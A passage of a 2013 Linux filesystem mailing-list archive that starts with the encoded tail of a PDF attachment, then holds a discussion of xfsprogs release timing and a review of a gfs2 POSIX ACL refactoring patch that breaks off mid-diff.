LzcVUg5HZhhN7Uw5ygheya5g4iNPHVALQRAEmWwIq3eDtNekSD1FYiB+scM+LT03eYSmMlH6vBNy XAzGWH7U7feCIAiCWCaxTLLC5UOyi1CNwAPFTU66VVHfKagw9MgjTnmGUlwXDHuSW+GwcwRBEMRd mpj9lbCS32UmtXeVd28BeJqpc7p4NB8ycFa3MsOUdpcsyyclItTmLkQQBEGmLjdEIy6ftP6n+AaN asatBO8uKDvKXFEyoagNylugsQeM0iTmF0t9FrYIvy8KhR5AEARB7k9a5JiHwk9TPxUN1H98MSTl hm7b3A17u1kIX14fKcDAiQiCINMUX5siwpVcHiGkn5MUY4LcaRyU/0yWCo0D4T4dQRAEuS8pbmAZ TGiSkZ7YWW6PBkEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEEQBEGQCeP/Ad/07R8K ZW5kc3RyZWFtCmVuZG9iago5IDAgb2JqCjM0MjM1CmVuZG9iagoxMCAwIG9iagovRGV2aWNlUkdC CmVuZG9iagoxMSAwIG9iago8PAovRmlsdGVyIFsgL0ZsYXRlRGVjb2RlIF0KL1dpZHRoIDcwCi9I ZWlnaHQgMTA2Ci9Db2xvclNwYWNlIDEwIDAgUgovQml0c1BlckNvbXBvbmVudCA4Ci9MZW5ndGgg MTIgMCBSCj4+CnN0cmVhbQp42tWc6VMUV9vG/7rkw/u+H/PJVComqUqV2X1iFrdHjUvcjbsoqCQu oIIoKiKgqICgIPu+r8OOAwzLzHSf9zd9YdPOACKg0VNWe/r02e7tuu+zDMa8Jtm2zbO7u9vn8126 dOn//vd/en2+hvr6sbGx1zV9T5MoamxsTE5O+vabNV98sTru1KnMzLvDw8Pu1w8rac49PT1padfz 8h5DyJnTp5uamj5EWrwUBQKBe5mZ9+/fJ382IaGkpGRiYsJ8yDLq7OxMuXb1zu1bbW1t2dnZra2t HxAtTNWyLNtJZMLhMIV9fX1PCvLa2lry8/OLCgvv388ZHR2lXDUtT3r/KdUMGxoaurq6JicmBvr7 RSCWZT4ErZucnGxubq6uroYEZZ4/f15WVlZbW9vR0VFVVVXqJJAcAsEHtLG+vr6yspI6NU5CIUOh 0L9NRySJ29h7QkLCo0ePbt68ef78+d9+++3o0aOUXL169c6dO4cPH968efOxY8eOHz+elZWVlpZ2 +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 NwQ8OAKdQurX1t7bSjN/CaQrWFsT8nJYGbSu+Lm5mWc3tJiR4ciMu4dNS3fI50BfK0Iss/0vzK27 JvvBrLouLRUXF0MLy0P9nZlcJ3V1dSGgN/tTWk4tv38GDaIo7R8w586Hbz81V7Lsh4VWc6sJByN/ AwSVa2426RnmcroZGjb7j1nTK/1rZu9Gvf1qii1ZJLFieN6T6ZNxE9efmty6iO0/rjJpufadQpOU YzLumqxH5la2GRiaZcJySJjzxHaJmD9PIxFVWhm+nmVyy+yaenMx2779LHzhjrmRZd9/GL580wy9 WAFy3mUSUYFJU1xj5zyxL6Xa++PDmY9NbkG4oTksTP2AyJkhyp6V4eSU6fZZoZfuYjl/lev/AT34 VW0KZW5kc3RyZWFtCmVuZG9iagoxMiAwIG9iago3MDUzCmVuZG9iagoxMyAwIG9iagplbmRvYmoK MTQgMCBvYmoKNzA1MwplbmRvYmoKMTUgMCBvYmoKPDwKPj4KZW5kb2JqCjE2IDAgb2JqCjcwNTMK ZW5kb2JqCjE3IDAgb2JqCjw8Ci9UaXRsZSAoMDcyMmUzNmMyMmU4ZTk5YWYxNjA3NjE3NmU5YWYx YzcpCi9DcmVhdGlvbkRhdGUgKEQ6MjAxMzEyMDIyMjAxNTkpCi9Nb2REYXRlIChEOjIwMTMxMjAy MjIwMTU5KQovUHJvZHVjZXIgKEltYWdlTWFnaWNrIDYuNy4xLTYgMjAxMi0xMi0yNSBRMTYgaHR0 cDovL3d3dy5pbWFnZW1hZ2ljay5vcmcpCj4+CmVuZG9iagp4cmVmCjAgMTgKMDAwMDAwMDAwMCA2 NTUzNSBmIAowMDAwMDAwMDEwIDAwMDAwIG4gCjAwMDAwMDAwNTkgMDAwMDAgbiAKMDAwMDAwMDEx OCAwMDAwMCBuIAowMDAwMDAwMzE2IDAwMDAwIG4gCjAwMDAwMDA0MDcgMDAwMDAgbiAKMDAwMDAw MDQyNSAwMDAwMCBuIAowMDAwMDAwNDYzIDAwMDAwIG4gCjAwMDAwMDA0ODQgMDAwMDAgbiAKMDAw MDAzNDkwMSAwMDAwMCBuIAowMDAwMDM0OTIyIDAwMDAwIG4gCjAwMDAwMzQ5NDkgMDAwMDAgbiAK MDAwMDA0MjE0MyAwMDAwMCBuIAowMDAwMDQyMTY0IDAwMDAwIG4gCjAwMDAwNDIxODAgMDAwMDAg biAKMDAwMDA0MjIwMSAwMDAwMCBuIAowMDAwMDQyMjIzIDAwMDAwIG4gCjAwMDAwNDIyNDQgMDAw MDAgbiAKdHJhaWxlcgo8PAovU2l6ZSAxOAovSW5mbyAxNyAwIFIKL1Jvb3QgMSAwIFIKPj4Kc3Rh cnR4cmVmCjQyNDQzCiUlRU9GCg== ------=_NextPart_000_0927_01CEF0D4.69E76B30-- From BATV+6528244c091a2e852230+3755+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 4 05:00:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B651E7F4E for ; Wed, 4 Dec 2013 05:00:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 252C8AC004 for ; Wed, 4 Dec 2013 03:00:27 -0800 (PST) X-ASG-Debug-ID: 1386154824-04cb6c537e4f7c00001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id YCwHAw7UJbrtP6gv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 04 Dec 2013 03:00:25 -0800 (PST) X-Barracuda-Envelope-From: BATV+6528244c091a2e852230+3755+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VoABr-0001u3-Gb; Wed, 04 Dec 2013 11:00:23 +0000 Date: Wed, 4 Dec 2013 03:00:23 -0800 From: Christoph Hellwig To: Ben Myers Cc: Dave Chinner , Christoph Hellwig , Rich Johnston , xfs-oss Subject: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 Message-ID: <20131204110023.GA3263@infradead.org> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 References: <5293A699.20908@sgi.com> <20131128104002.GC26927@infradead.org> <20131128211858.GR10988@dastard> <20131129080538.GA31310@infradead.org> <20131203221714.GY10988@dastard> <20131203224354.GR1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203224354.GR1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386154825 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142832 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 04:43:54PM -0600, Ben Myers wrote: > IIRC last time we discussed this I expressed a preference for focussing > on the 3.2.0 release, but did not object to a 3.1.12 either. I think > Eric followed up and asked if Christoph had specific concerns that > should prompt a 3.1.12 release. Now I think it's probably just best to > focus on the xfs_repair bits for 3.2.0. My concern is pretty simple: we have a big batch of minor and not so minor fixes that I want to get out to our users. We've done releases about every 3 month for the last couple years, but we've not done any for 6 month by now. I have to admit I'm a bit out of the loop on the v5 repair work, but if Dave feels confident that he can get it done soon we should aim for a 3.2.0 release after that. If not it's more than time to get a 3.1.12 out and I'd be happy to do the work for it. From swhiteho@redhat.com Wed Dec 4 06:14:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D1C4B7F4E for ; Wed, 4 Dec 2013 06:14:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD8D13040A4 for ; Wed, 4 Dec 2013 04:14:07 -0800 (PST) X-ASG-Debug-ID: 1386159243-04cbb041675003e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cm0HJhCiABhaOpx4 for ; Wed, 04 Dec 2013 04:14:04 -0800 (PST) X-Barracuda-Envelope-From: swhiteho@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rB4CDWAL027512 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 4 Dec 2013 07:13:32 -0500 Received: from [10.36.7.190] (vpn1-7-190.ams2.redhat.com [10.36.7.190]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rB4CDTpD031149; Wed, 4 Dec 2013 07:13:29 -0500 Subject: Re: [Cluster-devel] [PATCH 16/18] gfs2: use generic posix ACL infrastructure From: Steven Whitehouse X-ASG-Orig-Subj: Re: [Cluster-devel] [PATCH 16/18] gfs2: use generic posix ACL infrastructure To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, xfs@oss.sgi.com, reiserfs-devel@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-nfs@vger.kernel.org, linux-btrfs@vger.kernel.org In-Reply-To: <20131201120656.539995924@bombadil.infradead.org> References: <20131201115903.910559036@bombadil.infradead.org> <20131201120656.539995924@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Organization: Red Hat UK Ltd Date: Wed, 04 Dec 2013 12:12:37 +0000 Message-ID: <1386159157.2711.11.camel@menhir> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386159243 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, On Sun, 2013-12-01 at 03:59 -0800, Christoph Hellwig wrote: > plain text document attachment > (0016-gfs2-use-generic-posix-ACL-infrastructure.patch) > This contains some major refactoring for the create path so that > inodes are created with the right mode to start with instead of > fixing it up later. > > Signed-off-by: Christoph Hellwig > --- > fs/gfs2/acl.c | 229 +++++++------------------------------------------------ > fs/gfs2/acl.h | 4 +- > fs/gfs2/inode.c | 33 ++++++-- > fs/gfs2/xattr.c | 4 +- > 4 files changed, 61 insertions(+), 209 deletions(-) > Looks very good. I'd really like to be able to do something similar with the security xattrs, in terms of the refactoring that at inode creation to give the xattrs ahead of the inode allocation itself. That way it should be possible to allocate the xattr blocks at the same time as the inode, rather than as an after thought. Some more comments below.... > diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c > index e82e4ac..e6c7a2c 100644 > --- a/fs/gfs2/acl.c > +++ b/fs/gfs2/acl.c [snip] > - > -static int gfs2_xattr_system_set(struct dentry *dentry, const char *name, > - const void *value, size_t size, int flags, > - int xtype) > -{ > - struct inode *inode = dentry->d_inode; > - struct gfs2_sbd *sdp = GFS2_SB(inode); > - struct posix_acl *acl = NULL; > - int error = 0, type; > - > - if (!sdp->sd_args.ar_posix_acl) > - return -EOPNOTSUPP; > - > - type = gfs2_acl_type(name); > - if (type < 0) > - return type; > - if (flags & XATTR_CREATE) > - return -EINVAL; > - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) > - return value ? -EACCES : 0; > - if (!uid_eq(current_fsuid(), inode->i_uid) && !capable(CAP_FOWNER)) > - return -EPERM; > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - > - if (!value) > - goto set_acl; > > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (!acl) { > - /* > - * acl_set_file(3) may request that we set default ACLs with > - * zero length -- defend (gracefully) against that here. > - */ > - goto out; > - } > - if (IS_ERR(acl)) { > - error = PTR_ERR(acl); > - goto out; > - } > - > - error = posix_acl_valid(acl); > - if (error) > - goto out_release; > - > - error = -EINVAL; > if 